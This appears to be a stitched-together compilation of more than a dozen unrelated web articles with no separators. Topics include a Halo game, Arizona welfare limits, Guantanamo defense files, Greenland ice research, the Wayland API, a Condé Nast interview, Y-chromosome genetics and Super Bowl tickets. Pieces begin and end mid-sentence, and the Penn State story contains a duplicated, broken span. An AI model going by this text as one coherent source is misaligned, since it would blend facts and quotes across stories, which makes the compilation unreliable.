The story is set during the events of Halo 2, with improved controls, new abilities, new enemies, such as the Prometheans, and new vehicles. Expect 30 missions. The developer is Vanguard Games, who are working with 343 Industries.
There's no word on whether Spartan Strike will also come out on Xbox One or Xbox 360, but Spartan Assault eventually did, so I expect it will.
There's a lot going on in Halo land at the moment. Halo: The Master Chief Collection launches on Xbox One next month, alongside TV show Halo Nightfall. There's also the Halo 5: Guardians beta kicking off, and now Halo: Spartan Strike.The federal law required states to set time limits on the receipt of cash assistance and specified that the payments could not exceed five years, which is still the limit in about two-thirds of the states.
In 2010, Arizona cut cash-assistance eligibility to three years, from five. In 2011, it reduced the limit to two years. Then last year it dropped to one, with that limit to begin on July 1.
“The 12-month time limit is rapidly approaching,” said Michael Wisehart, an assistant director at the Arizona Department of Economic Security, which runs the welfare program.
Any cash assistance received since October 2002 counts against the limit, according to state law and letters being sent to welfare recipients. That means even a few months spent on welfare a decade ago can significantly limit future benefits. Arizona officials estimate that 1,200 to 1,600 families — roughly 15 percent of those receiving cash assistance — will be affected. Some may qualify for hardship exemptions.
Domonique Christian, 27, recently received a notice from the state saying that her cash assistance payments of $220 a month might soon be terminated because she had exceeded the new 12-month limit on benefits.
Ms. Christian, a single mother, said she could not afford to lose the aid. She has two young sons and no job. That money, she said, is for diapers, clothing and food for her children, bus fare and other daily expenses.
“The money,” she said, “is really low, but it will get you by. It helps. It’s better than nothing.”
Here, as in several other states, proponents say the strict limits will create a new impetus for welfare recipients to find jobs and will reduce their reliance on public benefits. When President Clinton signed the welfare law in 1996, he said it would replace “a never-ending cycle of welfare” with “‘the dignity, the power and the ethic of work.”Perhaps the most iconic building of Richmond’s skyline is the Federal Reserve Bank Tower. The Richmond Federal Reserve Bank, 1 of 12 branches in the US, commissioned the building to be designed by Minoru Yamasaki in 1975.
The building features a largely aluminum curtain facade punctured by vertically oriented slits and an articulated corner. The design was clearly taking cues from Yamasaki’s most famous work, New York’s World Trade Center. Towers 1 and 2 were completed just 4 and 5 years earlier respectively. Unlike the Twin Towers, the structures corners contain wide window bays and angled piers at its base. The windows are bound by simple faces of aluminum rather than textured strips which create the formalist pointed arches of WTC. The striking simplicity in form and materiality give the structure a monumental presence in the city.
The building was originally to be sited where the Jefferson Hotel now stands but the site was later moved close to the river, directly across the canal from Brown’s Island Park. The project was underway at the same time as Richmond’s Downtown Expressway which slices through the southern part of urban Richmond and separates much of it from the riverfront. The Federal Reserve was unwilling to be separated in this way and so was born the idea for Kanawha Plaza, a park built over the highway to connect the bank with the center of the city.Deputies say they arrested a driver who allegedly pulled out a gun and fired it at another vehicle following a road rage incident in north Harris County.Carlos Sanchez is charged with aggravated assault with a deadly weapon.On Monday evening, a man flagged down a deputy in the 4500 block of Reynaldo Drive and said he got into a car accident with another driver who then pulled out a gun and started yelling at him. The victim said he sped away, but the suspect caught up and confronted him once again. When the victim tried once more to drive off, the suspect opened fire, striking the victim's car.Deputies found the suspect's car parked nearby. They eventually tracked down Sanchez and, after an investigation, arrested him."Violent road rage incidents have been on the increase in recent years across the country and within Harris County," Constable Mark Herman said. "The driver in this situation did the right thing by attempting to drive away from the aggressor and call police. The worst thing you can do in a road rage situation is to meet their rage with your own."Sanchez is being held at the Harris County Jail.STATE COLLEGE -- When Penn State football coach James Franklin appears this evening in Washington, D.C. to watch the president deliver his annual State of the Union address, he'll have one goal in mind: convince Barack and Michelle Obama to hit Happy Valley this fall.
" My big reason for going is to try to get the president and first lady to a game next year," Franklin said before entering a University Faculty Senate meeting. "So I don’t know if I have any chance of doing that whatsoever, but that’s what I’d like to do."
Franklin said he couldn't remember exactly when Thompson reached out to him regarding the major event, saying "it was a few days ago" and that "it's seemed like one long day" since he was named Penn State's head coach on Jan. 11.
Attending the State of the Union address is coming at one of Franklin's busiest times of the year. The former Vanderbilt coach said he flew into State College this morning after recruiting in Massachusetts and New Jersey on Monday. Following the address tonight in Washington, Franklin will fly out to California t coach said he flew into State College this morning after recruiting in Massachusetts and New Jersey on Monday. Following the address tonight in Washington, Franklin will fly out to California t o visit Penn State safety/linebacker commit Koa Farmer.
"W e have a lot going on in recruiting. We're trying to put in two weeks of recruiting and do what usually takes a year, so it's been a scramble," he said. "But I think it's great when we can get out in the public and represent Penn State."
Thompson, a lifelong resident of Centre County, has served in his capacity since 2008. He was re-elected to his third term in January 2013.
"With the beginning of a new year, we are filled with a sense of optimism and possibility," Thompson said in a statement. "The State of the Union offers us the chance to reflect upon the previous year and provides us with a preview of the challenges and opportunities that we face together. Given these sentiments, it’s an honor to have Coach Franklin as my guest for this occasion." Franklin also briefly addressed the University Faculty Senate Tuesday. He told faculty members that he's been researching GPAs of the football players with the hope of breaking academic records. "We came here number one to graduate players, and we came here number two to win games, and thirdly, and most importantly, to have an impact in the community and on this campus," Franklin said.MIAMI (Reuters) - Pretrial hearings in the Guantanamo war crimes tribunals have been delayed to address the mysterious disappearance of defense legal documents from Pentagon computers, military officials said on Thursday.
In this sketch approved by the military by court artist Janet Hamlin, and obtained by Reuters on November 9, 2011, Abd Al Rahim Hussayn Muhammad al-Nashiri's Defense Attorney Richard Kammin (C) addresses the military judge. REUTERS/Janet Hamlin
The defense lawyers said their confidential work documents began vanishing from Pentagon computers in February and that there was evidence their internal emails and internet searches had been monitored by third parties.
They want all the hearings in both death penalty cases halted until the issues have been satisfactorily addressed.
A weeklong hearing was scheduled to start on Monday in the case of Abd al Rahim al Nashiri, who is charged with masterminding an attack that killed 17 U.S. sailors aboard the USS Cole off Yemen in 2000.
That has been pushed back to June 11, the judge overseeing the war crimes court at the Guantanamo Bay U.S. Naval Base said in an order on Thursday.
Defense lawyers said they also would ask the judge, Army Colonel James Pohl, to delay a week of pretrial hearings set to begin on April 22 for five prisoners charged with plotting the September 11 hijacked plane attacks.
Navy Commander Walter Ruiz, who represents 9/11 defendant Mustafa al Hawsawi, said “three to four weeks’ worth of work is gone, vanished.”
He said what appeared to be a computer folder of prosecution files had turned up on the defense lawyers’ system, though none of them had opened the files.
The chief defense counsel for the tribunals, Colonel Karen Mayberry, ordered military and civilian defense lawyers on Wednesday night to stop using their government computers for sensitive information or drafts of their work.
“I’ll be filing a hand-written motion very shortly to ask for an abatement of the proceedings,” in the 9/11 case, said defense attorney James Connell, who represents defendant Ali Abdul Aziz Ali.
In another case, system administrators were searching files at prosecutors’ request and were able to access more than 500,000 defense files, including confidential attorney-client communications, the lawyers said.
That incident involved an appeal on behalf of Ibrahim al Qosi, a Sudanese prisoner who had finished his sentence at Guantanamo and gone home, they said.
Defense lawyers said their files began disappearing after a February hearing during which intelligence agents outside the courtroom cut the closed-circuit feed that was broadcasting the proceedings to spectators and journalists. The judge ordered technicians to dismantle the system that allowed them to do that.
During that hearing, the Guantanamo detention camp’s legal advisor also disclosed that what appeared to be smoke alarms in the rooms where defense lawyers met with their clients were actually microphones. He said private attorney-clients conversations had not been monitored, a claim met with skepticism by defense lawyers.
Human Rights First, a longtime critic of the Guantanamo tribunals, called the latest disclosures “absolutely outrageous.”
“This is just further evidence that the military commission system is a sham and that all terrorism trials should be held in real U.S. federal courts on U.S. soil, where the rules are clear, defendants’ rights are respected and the verdicts will have credibility,” said Daphne Eviatar, who has monitored the tribunals for the rights group.Portions of the Greenland ice sheet melted a "moderate" amount thousands of years ago during an extremely warm period, raising new questions about its likely behavior in the future amid rising temperatures, according to a new study from a team of international scientists.
The conclusions about the Eemian interglacial period, 130,000 to 115,000 years ago, enlighten an ongoing debate over a deceptively simple question: To what degree will Greenland add to rising seas in a warming world, and to what degree will Antarctica?
The new study, published yesterday in Nature, suggests that Antarctica may have played a larger role in the past in adding to rising sea levels than Greenland, and therefore may follow a similar pattern in the future.
"The clues for sea level rise are pointing to the south, to Antarctica," said James White, director of the Institute of Arctic and Alpine Research at the University of Colorado, Boulder, and one of hundreds of scientists from 14 countries contributing to the new research as part of the North Greenland Eemian Ice Drilling (NEEM) project. The National Science Foundation funded a portion of the research.
The findings are significant because Antarctica "is a more dynamic ice sheet than Greenland," with a base well below sea level, said White. It has the potential to become more unstable over the long term as it loses ice, he said. Greenland, by contrast, is land based, providing it with a long-term "stabilizing factor" in regards to ice loss, he said.
The team of scientists found that the thickness of the Northwest Greenland Ice Sheet in the Eemian declined about 25 percent, or roughly 400 meters, over a 6,000-year period. The change in ice volume left the sheet near the NEEM research site about 130 meters below its current surface elevation.
While the decline was not insignificant, the warming at the time did not lead to the complete disappearance of the ice, as some models would suggest could happen with Greenland, said Dorthe Dahl-Jensen, a professor at the University of Copenhagen, and leader of the NEEM project. "There was a limited response in Greenland," she explained. "The reduction in elevation was pretty moderate."
An earlier melting had limits
This was so, she said, even though the team found that the Eemian period was warmer than previously thought, peaking at the NEEM site at roughly 8 degrees Celsius above the mean of the past millennium. At the time, the Earth was closer to the sun in the summer, allowing more solar energy to reach the surface.
The "moderate" reaction of Greenland meant that its melting ice sheet contributed less than half -- or 2 meters or less -- to rising sea levels in the Eemian period, she said. At the time, seas were likely 4 to 8 meters (13 to 26 feet) higher than now, according to Dahl-Jensen.
The world's glaciers and thermal expansion of the ocean would have contributed a fraction of that rise in sea level, she said, meaning that Antarctica would have made up the rest.
Part of the reason for the "limited" Greenland response is that the warming in the Eemian lasted a short period of time in geologic terms, even though it was thousands of years, she said. "We think that saved Greenland," she added.
Additionally, west Antarctica differs from Greenland in that it is essentially "sitting in a bowl," meaning that its connection to warm water could speed up its melting dramatically over a long time frame, explained White.
By drilling an 8,333-foot-deep ice core, the researchers were able to obtain a snapshot of Greenland's past by extracting very old ice and testing its chemistry and air composition. "It's just like a tree ring in many ways," said Dahl-Jensen.
A debate continues
Ian Joughin, a glaciologist at the University of Washington who did not participate in the research, said the study is a "nice detailed piece of work" but said it would not end the Antarctica-Greenland debate about rising sea levels in the future. He noted that the NEEM project reported a very broad range of numbers with regard to ice loss.
The 400-meter decrease in thickness at the NEEM site reported by the scientists, for example, included a range of plus or minus 250 meters. The finding that the surface elevation was 130 meters below the present included a range of plus or minus 300 meters.
"I don't think they should have reached any conclusion about how much the ice sheet shrank," added Kurt Cuffey, a professor at the University of California, Berkeley, noting the "uncertainties" in the number ranges. The high end of the range for reduction in ice thickness is "very large," he said.
Additionally, Greenland still will be the biggest contributor to sea level rise in the immediate future, despite Antarctica's ultimate role, according to Dahl-Jensen. A study in November in Science found that Greenland has experienced more dramatic melting than Antarctica since the 1990s (ClimateWire, Nov. 30, 2012).
Dahl-Jensen noted that a fraction of the sea level rise seen in the Eemian, 1 meter, would still create major problems for coastal areas. Many scientists think that 1 meter (3.2 feet) of global sea level rise is possible by 2100.
The ice core also revealed significant surface melting of the Greenland ice sheet during the Eemian, just as there was in 2012, when it rained near the study site. This dynamic of intense surface melting will continue as the Arctic heats up faster than the rest of the globe, said Dahl-Jensen.
"The present warming over Greenland make surface melt more likely, and the predicted warming over Greenland in the next 50 to 100 years will very likely be so strong that we will potentially have Eemian-like climate conditions," she said.
Reprinted from Climatewire with permission from Environment & Energy Publishing, LLC. www.eenews.net, 202-628-6500Today I was able to make a trip out to the Tokyo Pokémon Center because it was the last day to grab the Gengar and Scizor downloads. They weren’t particularly special, but they are two great Pokémon and come with good natures. Picked up some merch while I was there too and made a quick video showing it off. Thanks for those that helped me decide what charms to get on Twitter! Sorry Kingler, maybe next time!
There’s also footage of more merchandise I bought earlier this month when I had the opportunity to go with Mr. Bojingles (our UNTAMED writer and Retry Level reporter) as well as Kriffix (one of our translators). It was a super awesome PokéJungle meet-up!
<3 PJ
FEATURED THREAD: Blue Pikachu and Monochromes by 12MONeilWayland 1.0 release is knocking the door and people keep asking “why Wayland if we got X already”, or things like performance, memory consumption, power savings and other kind of advantages on having Wayland instead X. Those are very important points to consider, of course, but for one individual actually programming the graphics system the answer should be straightforward: Wayland API is damn small.
1. But who’s going to program Wayland or X?
Short answer is: very likely you won’t :) A more elaborated answer requires the understanding of what is the graphics system “shell” and its components, or in other words what is the system layer that fits on top of a core graphics system.
While the graphics system comprises of an hardware abstraction, the shell could be thought as an abstraction for such graphics system in a way that application developers would feel more comfortable on writing their applications there – it would be the application software glue therefore, offering convenience for an ordinary developer. Examples of shell components are widget library “toolkits”, game engines, window and decoration managers, Web runtime, video processing libraries and so forth. Developers of these kind of components are the only ones that need to understand the graphics system API, in principle.
2. And what is the X API?
libxcb is the implementation of X11 protocol. libxcb needs 19 functions to deal with IPC related stuff. The core protocol implementation and libxcb protocol helpers export 195 functions all together. All extensions, developed over the 25 years of X existence, sum up 26 in total with 1064 functions for clients. Therefore the X11 client API has approximately a total of 1278 entry points.
Raw data and how I collected it is here.
When we talk about a graphics system, we like to think about the drawing APIs only. It’s a big mistake. The API is more broad, encompassing for instance input methods, input devices, output devices, a bunch of graphics related configuration aspects, testing and so on. In fact, X has basically two drawing APIs (the core protocol and Xrender) and some systems building very modern interfaces are not even using them anymore, bypassing via OpenGLES and friends.
I’ve reported about one year ago that some new systems don’t use the core X protocol and just use a few extensions instead. One would claim that this is alright cause the API would be smaller, but my opinion is if things carry on expanding outwards like they have been, we’re going get to a point where the graphics systems becomes unmaintainable. Moreover, it takes too long for the shell developer learn that just a small set of the API is needed. The X protocol flexibility feature in which developers can add many new extension as desired and the lack of a proper API deprecation mechanism is definitely a problem to consider here.
3. So what is the Wayland API then?
Wayland API has approximately a total of 135 entry points, in its 0.99 version. libwayland solely exports 19 functions, where most are related with IPC, dispatching of events and etc which are the main responsibility of the library. The 14 interfaces consists of 102 functions and usually a client application will require some platform specific routines as well, such as the EGL abstraction and some for the DRM driver model; these add 14 more functions currently.
Raw data here.
We have something we call “private protocols”, that describes more high-level interactions and a few special clients. Examples are the XWayland infrastructure, desktop shell workspace and its panel bar, input methods where special care for device grab is needed and etc. One might consider adding those APIs as well but anyhow, Wayland has a small API after all.
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Although X and Wayland’s intention are both to sit between the applications and the kernel graphics layers, a direct comparison of those two systems is not fair on most of the cases; while X encompasses Wayland in numerous of features, Wayland has a few other advantages. In special, in this post I wanted to call the attention for the big advantage the shell programmer has when creating components that aid modern interfaces, where only a small set of functions are actually needed using Wayland.
X API is approximately 15 times bigger than the Wayland one. Here, I’ve only counted the amount of exported functions for clients. I understand that there could be different and more precise ways to tell how big is a graphics system API (e.g counting events received by clients, or Wayland amount of interface listeners, or the window properties of X).
AdvertisementsPosted by JOE GANDELMAN, Editor-In-Chief on Jul 10, 2013 in Featured, Immigration, Politics |
R.I.P. Immigration Reform: Consensus is it’s virtually dead
The consensus has been growing: immigration reform is virtually dead. Even though there are many risks facing the Republican Party if it looks like it killed it, it will in the end by killed or allowed to die a slow, painful death this year by the Republican House.
If so, once again the 21st century Republican Party has wound up in the end doing precisely the what was the early bidding of key members of the conservative political entertainment complex — notably Rush Limbaugh who said the GOP ” is authoring its demise” with immigration reform since Hispanics would vote Democratic. Once again in the end the party falls in step with a Limbaugh hard line that originally seemed to contradict part bigwig’s initial inclinations — a line that does not attempt to expand the Republican coalition but keeps the existing coalition in place and eschews the concept of consensus in favor of power politics. Polls consistently show widespread support for immigration reform. By killing immigration reform the GOP will also be again showing how it is directed by the Tea Party movement, and the the most conservative parts of its base.
Plus, gerrymandering guaranteed that GOPers who wanted to be re-elected had nothing to fear from Latino voters and everything to fear from conservatives who didn’t want immigration reform.
If the House does pass something, it’ll likely be so far from the bipartisan Senate bill that it would be at variance with what more centrists Republicans or traditional conservative GOPers wanted, unacceptable to Democrats and virtually an insult to Hispanic groups who’ve been clamoring for immigration reform.
Meanwhile, there will be the lingering threat of Republicans not faring well in future Presidential elections as they have kiss off a vital growing demographic. Even if they blame Barack Obama which they are already planning to do (didn’t you know it was all due to Obamacare?) with a cover story that will only convince their base, a question is: will the growing block of Hispanic voters be able to exert their power if states controlled by Republican legislatures are taking swift steps to put in place voter suppression measures now that they no longer have to worry about the section of the Voting Rights Act that had the most teeth?
But you can now see a firm consensus among analysts emerging: it hasn’t officially been pronounced yet, but immigration reform is all but officially dead unless there is some political miracle.
All that remains is a)the posturing to show some attempt to consider the issue b)finding a way to blame the White House and Democrats.
The Politico:
Republicans walked away from their 2012 debacle hell-bent on fixing their problems with Hispanics. Now, they appear hell-bent on making them worse.
In private conversations, top Republicans on Capitol Hill now predict comprehensive immigration reform will die a slow, months-long death in the House. Like with background checks for gun buyers, the conventional wisdom that the party would never kill immigration reform, and risk further alienating Hispanic voters, was always wrong — and ignored the reality that most House Republicans are white conservatives representing mostly white districts.
But won’t this hurt the party in the long run? More from The Politico:
These members, and the vast majority of their voters, couldn’t care less whether Marco Rubio, Bill O’Reilly and Karl Rove say this is smart politics and policy. Republican leaders will huddle with their members Wednesday afternoon to plot their public strategy. But after holding countless listening sessions, it is clear to these leaders that getting even smaller, popular pieces of reform will be a tough sell. The House plans a piecemeal approach: a border-security bill this month, maybe one or two items a month in the fall. Rep. Tom Cotton (R-Ark.) held a town meeting last week where 25 of the 100 people spoke out on immigration — and every single one of them |
Gays and lesbians do not have to be celibate
This brings us right back to the original questions asked by QuestioningMale, Cianna200, and Dennis Cobb.
For Christians, loving homosexuals means truly caring about them and wanting them to find their way to heavenly happiness and joy both here and to eternity.
This is not accomplished by denying them equal access to marriage. For all of the reasons I’ve outlined above, accepting and valuing same-sex marriages provides gays and lesbians with a powerful means of engaging in spiritual growth. So if we care about their eternal well-being, we should want marriage with all of its benefits to be available to them.
For gays and lesbians, whether Christian or not, forcing oneself to remain celibate even when opportunities for committed, spiritual marriage present themselves is not the best way to move forward on a spiritual path.
A longing and a drive toward marriage is deeply engraved on the human heart and mind. For over 96% of the people on earth, this means marriage with a partner of the opposite sex. But for those whose orientation is toward the same sex, that longing and drive for marriage is just as strong.
Is it really to anyone’s benefit to block and stymie such a deep part of our psyche? Is it really good and healthy to prevent oneself from expressing a love that is part of our very humanity?
Many people wish homosexuality didn’t exist.
But it does.
Many gays and lesbians wish they were heterosexual instead.
But they’re not.
Perhaps one day God will give us more light on this subject that is so difficult, confusing, and conflicted for so many people.
Meanwhile, Annette and I firmly believe that the best and most spiritual path for gays, lesbians, and bisexuals is to accept and value their own sexual orientation, and to express it in healthy, committed, long-term, monogamous relationships if they so desire.
In other words, when it comes to sex and marriage, the best and most spiritual path is the same both for heterosexuals and for homosexuals. Only the sexual orientation is different.
The decision is yours
Once again, I make no claim to be an expert on homosexuality. In the end you will have to make up your own mind what to think, believe, and do about it.
If you are gay, lesbian, or bisexual and you are a Christian, or spiritual in orientation, you will have to make a decision about accepting your own sexuality, and about whether to seek out and engage in a good and loving same-sex relationship—or marriage if the laws where you live allow it.
I hope this article helps to dispel for you some of the faulty Biblical scholarship and mistaken spiritual ideas surrounding the issue of homosexuality.
Whatever decision you make, please know that like every other human being, you are created in the image and likeness of God. God loves you very deeply, cares about you, and wants you to experience happiness and joy both here on earth and eternally in heaven.
This article is a response to three spiritual conundrums submitted by readers.
For further reading:Cash-crunched media snakepit Condé Nast may be getting rid of receptionists and making editors pay for their own newspaper and mag subscriptions, but a certain subset within 4 Times Square’s Tower of Power is going strong: the A-gays! Recently, we learned that there’s a secret gay social club within Condé that goes out for regular drinks, dishes on the rest of the company, and calls itself — and this is the best part — the Majority! That’s so cryptic yet chic and mid-century-modern sounding, right? So we got one of the founders of the Majority on the line, who told us all about the sniffy clique’s criteria and customs, as long as we promised to say only that he’s 31 and has been “on the business side” of one of Condé’s “prestige titles” for the past two-plus years. (Guesses, anyone?) Click through to hear every lifestyle detail about the top gays who terrorize the gay (and straight) plebes inside the media spire … and can you believe that they won’t let non-Condé gays into the group even when their jobs may be in jeopardy and they may need those networking contacts!? They won’t even let Anna in. Now that’s A-list!
Okay, self-described A-gay, tell us all about the Majority.
A-GAY: It’s still kind of an informal group that I started with a few other Condé gays a couple of months ago. It’s not affiliated with Condé. We get together and drink and gossip about what’s going on with the company. Our first time was at Japonais on 18th Street and our last was during Gay Pride Week at g. We’re getting together again in September.
Does the Majority have a preferred drink, like the Majoritini?
A-GAY: No, but we should probably come up with one.
Why are you called the Majority?
A-GAY: Originally we called it Gays and Lesbians of Condé — or GLACK! — but that was quickly changed based on the joke of, Who isn’t gay at Condé? We’re not really the minority, we’re the majority! It’s elusive — there’s a little mystery to it.
So you’re about 20, 25 strong right now. How many women?
A-GAY: There’s a little lesbian representation, two or three. At some point we may open it up to straight allies. A couple of people have brought non-Condé gays and we promptly blacklist those Condé employees. I think for the next one, the first two hours will be exclusively Condé.
So what’s the criteria to be asked into the Majority?
A-GAY: Me and a couple of others created a list of people that we know personally. People that are social. And it doesn’t hurt to be good-looking. But we wouldn’t necessarily not welcome unattractive gays.
The group isn’t meant to screen the A-gays from the dumpy gays?
A-GAY: Not necessarily; it’s more connected to friends and if they like another gay person. But it screens in a pretty well-dressed, attractive type. Though everyone at Condé is pretty well pulled-together.
What is the overall Majority look?
A-GAY: Professional, preppy. There’s a lot of gingham, loafers, sometimes a pocket square here and there, and a lot of madras ties. Everything from rag & bone to Gucci, Prada …
What are you wearing today?
A-GAY: I’m wearing a khaki suit I had custom-made in Asia with a white shirt. It’s a Prada cut.
Not a super-shortie Thom Browne cut?
A-GAY: That’s not a look for me.
Is most of the Majority on the business side or the editorial side?
A-GAY: Most are on the business side, sales and marketing, but it’s not excluding the editorial side.
Are you worried that Condé gays who aren’t invited in will be hurt and damaged?
A-GAY: If someone asked to come, we would probably allow them to. Again, we’d only exclude someone if they came to an event and brought a non-Condé gay.
But maybe it would be good right now for you guys to network with outside gays, given the shakiness at Condé …
A-GAY: [Laughs incredulously] Why, in case we lose our jobs? There still have to be some things that are private. It’s still Condé Nast!
Do you experience bitterness and jealousy from non-Condé gays, or the public in general?
A-GAY: Not bitterness, but certainly a kind of … curiosity about … people wonder how it is to work at Condé.
Is it that fabulous?
A-GAY: I couldn’t speak to that specifically. I’ve never worked at Vogue. But it’s very intense; everyone’s really smart and works really hard. It’s probably not for everyone.
Does everyone in the Majority have a share in the Pines [on Fire Island]?
A-GAY: Many of us do. I have my own place there, a half-share. Some of us are Hamptons people.
Do Graydon and Anna know about you guys?
A-GAY: Oh, no!
Would Anna come to one of your things?
A-GAY: No, she wouldn’t be invited! Maybe after those first two hours, as a straight ally, but it’s really limited to those who are actually homosexual.
Who are the top five Condé gays? André Leon Talley and who else?
A-GAY: I’m not going to point anyone out.
Are the Majority gays tops or bottoms?
A-GAY: Do you really think I’m going to comment on that? I have no idea.
Maybe mostly bottoms because they’re so in control and stressed out all day, then later they just want to lie back and let someone else do the work?
A-GAY: [Pause] I don’t think you could make that correlation.
Where do you see the Majority going?
A-GAY: We’ve actually talked about doing a little community service.
Like bringing last season’s gingham to the Housing Works stores?
A-GAY: That might be something we’d do. We’ve talked about coming together to form a team for the AIDS Walk.
Have you asked Chip Kidd to design your logo?
A-GAY: [Sniffs] We have graphic designers in the Majority, so we’d probably rely on our own talent group. It would be formatted after some kind of coat of arms. I’m not in that committee per se, so …
Who’s bitchier at Condé, the gays or the girls?
A-GAY: That’s a good question. It’d be a toss-up.Tags: Page LabEvolution + DevelopmentGenetics + Genomics
CAMBRIDGE, Mass. – Despite a well-documented history of dramatic genetic decay, the human Y chromosome has over the course of millions of years of evolution managed to preserve a small set of genes that has ensured not only its own survival but also the survival of men. Moreover, the vast majority of these tenacious genes appear to have little if any role in sex determination or sperm production.
Taken together, these remarkable findings—published this week in the journal Nature—suggest that because these Y-linked genes are active across the body, they may actually be contributing to differences in disease susceptibility and severity observed between men and women.
“This paper tells us that not only is the Y chromosome here to stay, but that we need to take it seriously, and not just in the reproductive tract,” says Whitehead Institute Director David Page, whose lab conducted the research with collaborators from Washington University in St. Louis and Baylor College of Medicine.
“There are approximately a dozen genes conserved on the Y that are expressed in cells and tissue types throughout the body,” he continues. “These are genes involved in decoding and interpreting the entirety of the genome. How pervasive their effects are is a question we throw open to the field, and it’s one we can no longer ignore.”
Page believes this research will at last allow his lab to transition from proving the so-called rotting Y theorists wrong to a new era in Y chromosome biology. Over the past decade, Page, who is also a professor of biology at MIT and an investigator of the Howard Hughes Medical Institute, and his group have been debunking the thinly supported but wildly popular argument that because the Y chromosome had lost hundreds of its genes over roughly 300 million years of evolution, its ultimate extinction is inevitable.
The loss of genetic content on the Y is not in dispute. In fact, a recent study from Page’s own lab showed that the human Y chromosome retains only 19 of the more than 600 genes it once shared with its ancestral autosomal partner, the X chromosome. However, by comparing the sequence of the human Y chromosome with that of the chimpanzee and the rhesus macaque, the lab discovered that the human Y has lost only one ancestral gene over the past 25 million years. Since then, the Y has been more than holding its own.
Having shown that the human, chimp, and rhesus Y chromosomes share nearly identical ancestral gene content, the lab set out in this latest work to map the evolution of the Y chromosomes of five more distantly-related mammals: the marmoset, mouse, rat, bull, and opossum. A comparison of the ancestral portions of these Y chromosomes revealed a set of broadly expressed genes across all eight species. Such genetic stability and conservation is no accident.
“This is not just a random sampling of the Y’s ancestral repertoire,” says Page, noting that each of the conserved genes discovered has a counterpart on the X chromosome. “This is an elite bunch of genes.”
“Evolution is telling us these genes are really important for survival,” adds Winston Bellott, a research scientist in the Page lab and lead author of the Nature paper. “They’ve been selected and purified over time.”
Bellott and Page say the next phase of their research is to determine what this set of Y genes is actually doing, as they concede that’s simply not yet clear. What is clear, they argue, is that cells in females (which, having two X chromosomes, are referred to as XX cells) are subtly but fundamentally different from cells that are XY in males. And, they are different throughout the body in tissues and organs that show no obvious anatomic differentiation.
“They’re similar but biologically different,” says Bellott. “Yet, we have cell biologists and biochemists actively studying cells without any idea whether the cells are XX or XY. This is so fundamental to biology and biomedicine, and yet no one’s really paid much attention to it.”
Both Page and Bellott say what’s needed is a biochemical catalog of the differences between XX and XY cells, including variability in such processes as gene expression and protein production. Page believes this pursuit could have enormous implications for human health.
“There is a clear need to move beyond a unisex model of biomedical research,” Page says, “which means we need to move beyond a unisex model of our understanding and treatment of disease.”
This work was supported by the National Institutes of Health and the Howard Hughes Medical Institute.
Written by Matt Fearer
* * *
David Page's primary affiliation is with Whitehead Institute for Biomedical Research, where his laboratory is located and all his research is conducted. He is also a Howard Hughes Medical Institute investigator and a professor of biology at Massachusetts Institute of Technology.
* * *
Full Citation:
“Mammalian Y chromosomes retain widely expressed dosage-sensitive regulators”
Nature, April 24, 2014
Daniel W. Bellott (1), Jennifer F. Hughes (1), Helen Skaletsky (1), Laura G. Brown (1), Tatyana Pyntikova (1), Ting-Jan Cho (1), Natalia Koutseva (1), Sara Zaghlul (1), Tina Graves (2), Susie Rock (2), Colin Kremitzki (2), Robert S. Fulton (2), Shannon Dugan (3), Yan Ding (3), Donna Morton (3), Ziad Khan (3), Lora Lewis (3), Christian Buhay (3), Qiaoyan Wang (3), Jennifer Watt (3), Michael Holder (3), Sandy Lee (3), Lynne Nazareth (3), Steve Rozen (1), Donna M. Muzny (3), Wesley C. Warren (2), Richard A. Gibbs (3), Richard K. Wilson (2), & David C. Page (1)
1. Whitehead Institute, Howard Hughes Medical Institute, & Department of Biology, Massachusetts Institute of Technology, Cambridge, Massachusetts 02142, USA.
2.The Genome Institute, Washington University School of Medicine, St. Louis, Missouri 63108, USA.
3.Human Genome Sequencing Center, Baylor College of Medicine, Houston, Texas 77030, USA.So much for being the most expensive Super Bowl ever.
With ticket prices in a freefall, seats for Sunday’s MetLife Stadium matchup between the Seattle Seahawks and Denver Broncos could end up being the least expensive for a Super Bowl since the post-9/11 game of 2002.
After hitting record highs last week, ticket prices took a nose dive over the weekend, with the cheapest prices plummeting nearly 50 percent, to a low of $1,150 from about $2,200 at 9 a.m. on Jan. 19.
While the cold weather had been a concern, that’s now been factored into prices and isn’t expected to have much of an effect going forward, unless there is a snowstorm, market watchers said.
Instead, limited travel demand by fans of the two Western teams, a glut of available tickets and sluggish interest in the New York metropolitan area are contributing to the tailspin.
More than 18,000 tickets remained available on the secondary market Monday.
“Everyone had this notion at the beginning of the process that this would be a hot ticket and prices would match everything else in New York,” said Chris Matcovich, of Tiqiq.com, a secondary ticket marketer.
“The fact of the matter is that is not the case, and it doesn’t look like that will be the case a week out.”
The combined 4,600 miles for both fan bases to travel is “a bit tough,” Matcovich, said.
He said ticket prices may show “a slight uptick” as the week progresses, but they’ll likely come back down by the weekend.
“Brokers this week are praying that locals bail them out and start buying,” he said.
Connor Gregoire, of Seatgeek.com, said the market “is in a tailspin,” with prices spiraling “at a record rate [and] likely to be dragged down further.”
The average price paid for a ticket plunged 40 percent over the weekend, to as low $2,056, from $3,439 in the first 24 hours after Seattle and Denver won their games last week, he said.
The average price moved up slightly by Monday, to $2,862.
“There’s effectively no way that this game will be the most expensive Super Bowl ever when it’s all said and done,” Gregoire said.
“It looks increasingly that this year’s Super Bowl will be the least expensive since XXXVI in 2002 [when] tickets were selling far under face value on game day.”
Stacked up against all recent Super Bowls, this past weekend’s average price ranks as the cheapest paid for a Super Bowl ticket on the weekend before the big game since 2011, Gregoire said.
The average price for a weekend-before-the-game ticket in 2013 was $2,512. It was $3,127 in 2012 and $3,513 in 2011.
On Monday, the lowest-price ticket in the mezzanine section was $1,781, off nearly 40 percent from the prior week, and lower-level tickets could be had for $1,870, also off 40 percent, Matcovich noted.
Meanwhile, prices for seats with access to heat — private suites or seats located by a warming concourse — are “holding steady,” said Gregoire, with the average sales price between $6,000 and $7,000.
“Realistically, if sales don’t start to pick up in the next few days, this weekend will be a buyer’s paradise,” Matcovich said.US Senator Norm Coleman (Republican, MN) is up to his hypocritical antics, again. After the entire wing of the Republican Party ridiculed Al Franken (Democrat, MN) for his recent tax troubles, Norm stepped up to the plate and should have silenced his crowd. Norm Coleman's DC residence is a 10 foot by 10 foot room in a friend's basement; but that's only half the story. The other half, Norm hasn't been paying his monthly rent of $600. Let the games begin.
